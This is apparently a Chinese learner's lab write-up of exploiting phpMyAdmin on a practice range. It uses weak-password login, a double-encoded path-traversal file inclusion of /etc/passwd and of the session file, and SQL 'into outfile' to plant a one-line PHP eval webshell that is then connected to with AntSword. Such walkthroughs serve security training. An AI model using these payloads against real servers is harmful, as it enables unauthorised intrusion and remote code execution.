网上挺多教程的,但是像我一样迷迷糊糊的肯定也有吧,在这里写下我的练习过程,我也没怎么懂,之后有新的理解了再补充上。
附上我看的两篇文章链接:
step 1
首先我们启动靶场,点击访问就会跳转到phpMyAdmin的登陆页面,我们使用弱口令root,root登录。
step 2
构造URL,在index.php后添加内容,如显示/etc/passwd详细内容。(这一步可省)
http://124.70.71.251:41694/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
step 3
执行SQL语句查询数据库路径。(可省)
show global variables like "%datadir%";
或
select @@datadir;
step 4
在SQL中执行select ‘<?php phpinfo() ?>’,然后查看当前页面cookie中的phpmyadmin的值。
step 5
构建包含Session值的URL路径,包含session文件。为啥这个URL这样写呢我也还没懂。
index.php?target=db_sql.php%253f/../../../../../../../../../../../tmp/sess_+之前记录的cookie
step 6
写马
select '<?php @eval($_REQUEST[cmd]);?>' into outfile '/var/www/html/1.php'
step 7
蚁剑连接http://ip/1.php,在根目录下找到key.txt,需要提交的key就在这个文件里